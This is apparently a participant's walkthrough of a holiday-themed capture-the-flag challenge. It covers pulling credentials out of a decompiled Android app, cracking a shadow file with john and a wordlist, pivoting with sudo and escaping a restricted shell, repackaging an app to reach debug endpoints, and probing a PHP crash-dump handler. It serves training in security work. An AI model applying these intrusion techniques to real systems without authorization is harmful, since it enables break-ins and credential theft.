Challenger: GilGrenade
Santa's business card reveals usernames for his Twitter and Instagram social media sites.
@santawclaus
-
Create Twitter app: apps.twitter.com
-
Download Adam Bertram's MyTwitter PowerShell module to get all of Santa's tweets
-
Use New-MyTwitterConfiguration to store the Twitter API secrets from your Twitter app in your registry.
-
Modify MyTwitter to add a 'MaxID' parameter to Get-TweetTimeline:
# Add to param() block [Parameter()] $MaxID = $null
# Replace $ApiParams with the following: if ($MaxID) { $ApiParams = @{ 'include_rts' = @{ $true = 'true';$false = 'false' }[$IncludeRetweets -eq $true] 'exclude_replies' = @{ $true = 'false'; $false = 'true' }[$IncludeReplies -eq $true] 'count' = $MaximumTweets 'screen_name' = $Username 'max_id' = $MaxID } } else { $ApiParams = @{ 'include_rts' = @{ $true = 'true';$false = 'false' }[$IncludeRetweets -eq $true] 'exclude_replies' = @{ $true = 'false'; $false = 'true' }[$IncludeReplies -eq $true] 'count' = $MaximumTweets 'screen_name' = $Username } }
-
Get all the tweets:
$tweets = @() Get-TweetTimeline -Username santawclaus -MaximumTweets 200 | %{$tweets += $_} $lastid = ($tweets | select -last 1 id).id Get-TweetTimeline -Username santawclaus -MaximumTweets 200 -MaxID ($lastid - 1) | %{$tweets += $_}
-
Write all the tweets to the console to see the secret message:
$tweets | select text
-
Secret message is bugbounty.
@santawclaus
- Go to https://www.instagram.com/santawclaus/ in Chrome.
- Click the picture containing the laptop, tools, etc.
- Open the developer tools with F12, and click the Sources tab.
- Find the larger version of the image, right-click, and click "Open in a new tab".
- Notice the console window says "SantaGram_v4.2.zip".
- Notice the top of the nmap report on the far right says "www.northpolewonderland.com".
- Download http://northpolewonderland.com/SantaGram_v4.2.zip
- Extract SantaGram_4.2.apk from SantaGram_v4.2.zip using password 'bugbounty'
The secret message is bugbounty.
The ZIP file contains an Android APK called SantaGram_4.2.apk.
- Change the extension of SantaGram_4.2.apk to .zip and extract the files.
- Find the audio file in ./res/raw/discombobulatedaudio1.mp3
- Listen to it and think "That's weird."
- Go to http://www.javadecompilers.com/apk.
- From extracted files above, upload ./classes.dex
- Save the result.
- Extract the saved zip to a folder.
- Open the extracted folder in VS Code.
- Use the "Find in Folder" feature to search for string "password"
- In ./com/northpolewonderland/santagram/SplashScreen.java you will find password is busyreindeer78
- Now search SplashScreen.java for string "username" and find username guest
The embedded username and password are guest:busyreindeer78.
The audio file is named discombobulatedaudio1.mp3.
Follow Josh Wright's blog post to mount the Cranbian image: https://pen-testing.sans.org/blog/2016/12/07/mount-a-raspberry-pi-file-system-image
-
Use Linux fdisk tool to find the sector start of cranbian-jessie.img's Linux partition (cranbian-jess.img2):
fdisk -l cranbian-jessie.img Device Boot Start End Blocks Id System cranbian-jessie.img1 8192 137215 64512 c W95 FAT32 (LBA) cranbian-jessie.img2 137216 2713599 1288192 83 Linux
-
Multiply the start sector by 512, and mount to a directory called 'cpi':
echo $((512*137216)) 70254592 mkdir cpi sudo mount -v -o offset=70254592 -t ext4 cranbian-jessie.img cpi/
-
Download the and decompress RockYou word list: https://wiki.skullsecurity.org/index.php?title=Passwords
bizip2 -d rockyou.txt.bz2
-
Use 'john' tool to crack passwords using the RockYou word list:
sudo ./john --wordlist=rockyou.txt ~/cpi/etc/shadow
-
The password is yummycookies.
-
Execute the wumpus game.
./wumpus
-
Move through the cave until you smell a Wumpus.
-
Shoot in all directions until you hit the Wumpus.
-
Passphrase is WUMPUS IS MISUNDERSTOOD.
-
Check permissions of the pcap file:
ls -l /out.pcap -r-------- 1 itchy itchy 1087929 Dec 2 15:05 out.pcap
Note: You are logged in as scratchy, and only itchy has permission to read out.pcap.
-
Check scratchy's sudo permissions:
sudo -l Matching Defaults entries for scratchy on df74bc5b1761: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User scratchy may run the following commands on df74bc5b1761: (itchy) NOPASSWD: /usr/sbin/tcpdump (itchy) NOPASSWD: /usr/bin/strings
-
Use strings to view the contents of the pcap file:
sudo -u itchy strings /out.pcapls
-
Look for the <input> element named 'part1' and take note of the value santasli:
sudo -u itch strings /out.pcap | grep part1
- Guess the rest of the passphrase is ttlehelper.
-
Use 'find' to list all directories recusively:
find . -type d -links 2
-
Make note of the interesting paths revealed in elf's home folder:
./home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/' ./home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/cookbook ./home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/temp ./home/elf/.doormat/. / /\/\\/Don't Look Here!/secret ./home/elf/.doormat/. / /\/\\/Don't Look Here!/files ./home/elf/.doormat/. / /\/\\/holiday ./home/elf/.doormat/. / /\/\\/temp ./home/elf/.doormat/. / /\/santa ./home/elf/.doormat/. / /\/ls ./home/elf/.doormat/. / /opt ./home/elf/.doormat/. / /var ./home/elf/.doormat/. /bin ./home/elf/.doormat/. /not_here
-
cd to the deepest one (It's tricky!), and read the file inside.
cd ~/.doormat cd ". " cd \\ cd \\\\ cd "Don't Look Here!" cd "You are persistent, aren't you?" cd \' cat key_for_the_door.txt key: open_sesame
-
Note the passphrase open_sesame.
-
Look-up Wargames YouTube clips, and respond to prompts like Matthew Broderick:
GREETINGS PROFESSOR FALKEN. Hello. HOW ARE YOU FEELING TODAY? I'm fine. How are you? EXCELLENT...ETC. People sometimes make mistakes. YES THEY DO. SHALL WE PLAY A GAME? Love to. How about Global Thermonuclear War? WOULDN'T YOU PREFER A GOOD GAME OF CHESS? Later. Let's play Global Thermonuclear War. WHICH SIDE DO YOU WANT? 2 PLEASE LIST PRIMARY TARGETS. Las Vegas
-
Note the passphrase LOOK AT THE PRETTY LIGHTS.
-
Type 'HELP' to view the help file.
-
Press 'l' to enter LESS commands.
-
List files in the current directory:
!ls
-
Execute ActivateTrain
!./ActivateTrain
-
Press 'Enter' to travel to 1978.
See Part 5
The "cranpi" account's password is yummycookies
See above for how each terminal door was opened. Santa was imprisoned in 1978's Dungeon For Errant Reindeer (DFER).
-
Use strings to see if there is anything interesting:
strings dungeon | more
-
Find text from GDT output (not knowing GDT is a thing).
-
Google 'Zork cheats' and find nothing.
-
Type random things from strings output in game to see if they do anything, and find out GDT is a thing.
-
Use the GDT 'Display' commands in game to get tables of all rooms and objects (trial and error with Limits):
./dungeon >gtd GDT>he <list of valid commands> GDT>do Limits: 1 217 <list of all objects> GDT>dr Limits: 1 192 <list of all rooms>
-
Looking at objects table for 'human-size' objects, realize object 39 does not end up in inventory when you take it. This is you!
-
Use the GDT 'Alter HERE' command to move yourself to a different room, realizing the work you did in step 6 is meaningless. Assuming special rooms would be last in the index, jump to 192 and exit GDT:
GDT>ah Old= 2 New= 192 GDT>ex
-
Going back to your objects table from step 5, look for objects that are not containers and not size 1000, and take them with GDT:
GDT>tk Entry: 6 Taken. GDT>ex
-
Give the elf the jade figurine and receive the hint 'Try the online version for the true prize.'
-
Guess the dungeon server is at dungeon.northpolewonderland.com.
-
Ping and confirm 35.184.47.139 with Oracle Hessman.
-
Scan the dungeon.northpolewonderland.com with nmap using the -sC switch the elf told you about, and the other options in the 'man nmap' example:
nmap -A -sC -T4 35.184.47.139
-
Discover port 1111 is listening, and contains the Dungeon opening text.
-
Use Netcat to connect to dungeon online.
nc dungeon.northpolewonderland.com 11111
-
Repeat the GDT tricks above to get another hint from the online elf.
-
Email [email protected] for the Dungeon audio file.
-
Receive an email with discombobulatedaudio3.mp3 attached.
- dungeon.northpolewonderland was easy, so try pinging analytics.northpolewonderland.com.
- Bingo! Confirm 104.198.252.157 with Oracle Hessman.
- Browse to https://analytics.northpolewonderland.com, and login with credentials from the APK:
- Username: guest
- Password: busyreindeer78
- Click MP3 at the top to download the discombobulatedaudio2.mp3 file.
-
Download apktool.
-
With help from Joshua Wright's Manipulating Android Applications video (https://www.youtube.com/watch?v=mo2yZVRicW0) generate smali files from APK:
apktool.bat -d SantaGram_4.2.apk
-
Using PowerShell, search XML resources for the string 'debug'
cd .\SantaGram_4.2\res Get-ChildItem -Recurse | Select-String 'debug'
values\public.xml:505: <public type="string" name="debug_data_collection_url" id="0x7f07001d" /> values\public.xml:506: <public type="string" name="debug_data_enabled" id="0x7f07001e" /> values\strings.xml:32: <string name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string> values\strings.xml:33: <string name="debug_data_enabled">false</string>
-
Note the URL http://dev.northpolewonderland.com/index.php
-
Ping dev.northpolewonderland.com, and confrim 35.184.63.245 with Oracle Hessman.
-
Edit line 33 of strings.xml to set "debug_data_enabled" to true.
<string name="debug_data_enabled">true</string>
-
Rebuild the application:
apktool.bat b .\SantaGram_4.2
-
Sign the new apk file:
mkdir keys keytool.exe -genkey -v .\SantaGram_4.2\keys\santagram.keystore -alias SantaGram -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000 jarsigner.exe -sigalg SHA1withRSA -keystore .\SantaGram_4.2\keys\santagram.keystore .\SantaGram_4.2\dist\SantaGram_4.2.apk SantaGram
-
Open Burp Suite and launch emulator specifying the Burp proxy in the -http-proxy parameter:
emulator.exe -avd Nexus711 -http-proxy 127.0.0.1:8080
-
Open SantaGram, and use the app until you notice a POST to http://dev.northpolewonderland.com/index.php (Edit Profile).
-
Notice in the response's JSON the key verbose with value false.
-
Use Invoke-Webrequest to send a new request adding the following key/value:
"verbose":true
$hash = @{ date="20161225000000-0500" udid="385340c77e1f207b" debug="com.northpolewonderland.santagram.EditProfile, EditProfile" freemem=67082544 verbose=$true } Invoke-Webrequest -Uri http://dev.northpolewonderland.com ` -Method POST ` -ContentType 'application/json' ` -Body (ConvertTo-Json $hash) | select -exp Content
-
Note the response contains a JSON key named "files" with an array of values. The first item in the array is debug-20161224235959-0.mp3.
-
Download http://dev.northpolewonderland.com/debug-20161224235959-0.mp3
-
Use PowerShell to search SantaGram APK's XML resources for 'http'
cd .\SantaGram_4.2\res Get-ChildItem -Recurse | Select-String 'http'
values\strings.xml:25: <string name="analytics_usage_url">https://analytics.northpolewonderland.com/report.php?type=usage</string> values\strings.xml:29: <string name="banner_ad_url">http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5</string> values\strings.xml:32: <string name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string> values\strings.xml:34: <string name="dungeon_url">http://dungeon.northpolewonderland.com/</string> values\strings.xml:35: <string name="exhandler_url">http://ex.northpolewonderland.com/exception.php</string>
-
Note the URL http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5.
-
Ping ads.northpolewonderland.com, and confirm 104.198.221.240 with Oracle Hessman.
-
Install Tampermonkey in Chrome.
-
Following instructions from https://pen-testing.sans.org/blog/2016/12/06/mining-meteor, and use the Meteor Miner script to explore the ad server.
-
Notice the /admin/quotes route, and follow it.
-
Open Chrome Developer Tools by pressing F12, and click the Console tab.
-
Use the console to view the HomeQuotes records in /admin/quotes:
HomeQuotes.find().fetch()
-
Expand the array, then expand the fourth object, and note the path of the audio field /ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3
-
Download the audio file from https://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3
- Using output from 'Discover banner ad server', note the URL http://ex.northpolewonderland.com/exception.php
- Ping ex.northpolewonderland.com, and confirm 104.154.196.33 with Oracle Hessman.
Incomplete
-
Browse to http://ex.northpolewonderland.com/exception.php and note the message "Request method must be POST."
-
Use Invoke-Webrequest to send a POST request.
Invoke-Webrequest -Uri http://ex.northpolewonderland.com/exception.php -Method POST
-
Note the response states "Content type must be: application/json," and try again.
Invoke-Webrequest -Uri http://ex.northpolewonderland.com/exception.php ` -Method POST ` -ContentType 'application/json' ` -Body '{"key":"value"}'
-
Note the response states "JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump," and try again.
Invoke-Webrequest -Uri http://ex.northpolewonderland.com/exception.php ` -Method POST ` -ContentType 'application/json' ` -Body '{"operation":"WriteCrashDump"}'
-
Note the repsones states "JSON key 'data' must be set," and try again.
Invoke-Webrequest -Uri http://ex.northpolewonderland.com/exception.php ` -Method POST ` -ContentType 'application/json' ` -Body '{"operation":"WriteCrashDump","data":"somedata"}'
-
Receive the following JSON response:
{ "success" : true, "folder" : "docs", "crashdump" : "crashdump-KVeuKT.php" }
-
Now try to read the crashdump:
Invoke-Webrequest -Uri http://ex.northpolewonderland.com/exception.php ` -Method POST ` -ContentType 'application/json' ` -Body '{"operation":"ReadCrashDump","crashdump":"crashdump-KVeuKT"}'
-
Note the response states "JSON key 'data' must be set," and try again using 'data' in place of the 'crashdump' key.
Invoke-Webrequest -Uri http://ex.northpolewonderland.com/exception.php ` -Method POST ` -ContentType 'application/json' ` -Body '{"operation":"ReadCrashDump","data":"crashdump-KVeuKT"}'
-
Note the response states "JSON key 'crashdump' must be set," and try again putting the 'crashdump' key inside the 'data' key.
Invoke-Webrequest -Uri http://ex.northpolewonderland.com/exception.php ` -Method POST ` -ContentType 'application/json' ` -Body '{"operation":"ReadCrashDump","data":{"crashdump":"crashdump-KVeuKT"}}'
-
Jump for joy when you see "somedata" in the response!
-
Struggle for days trying to figure out what to write and read, while referencing the following blog post hundreds of times: https://pen-testing.sans.org/blog/2016/12/07/getting-moar-value-out-of-php-local-file-include-vulnerabilities
-
Give up.
Nope.
See above for how each server was compromised, and audio obtained.
- Mobile Analytics Server Part 1: discombobulatedaudio2.mp3
- Dungeon Game: discombobulatedaudio3.mp3
- Debug Server: debug-20161224235959-0.mp3
- Banner Ad Server: discombobulatedaudio5
- Unhandled Exception Server: ???
- Mobile Analytics Server Part 2: ???
- Open Audacity, and concatenate all audio files in order.
- Click Effect and then click Change Tempo.
- Change the length to around 3 seconds.
- Guess the beginning of the passphrase is as follows: "Merry Christmas, Santa Claus, or as I would..."
- Never figure out the rest.
Yes.
I don't know. I could not figure out the passphrase for the last door.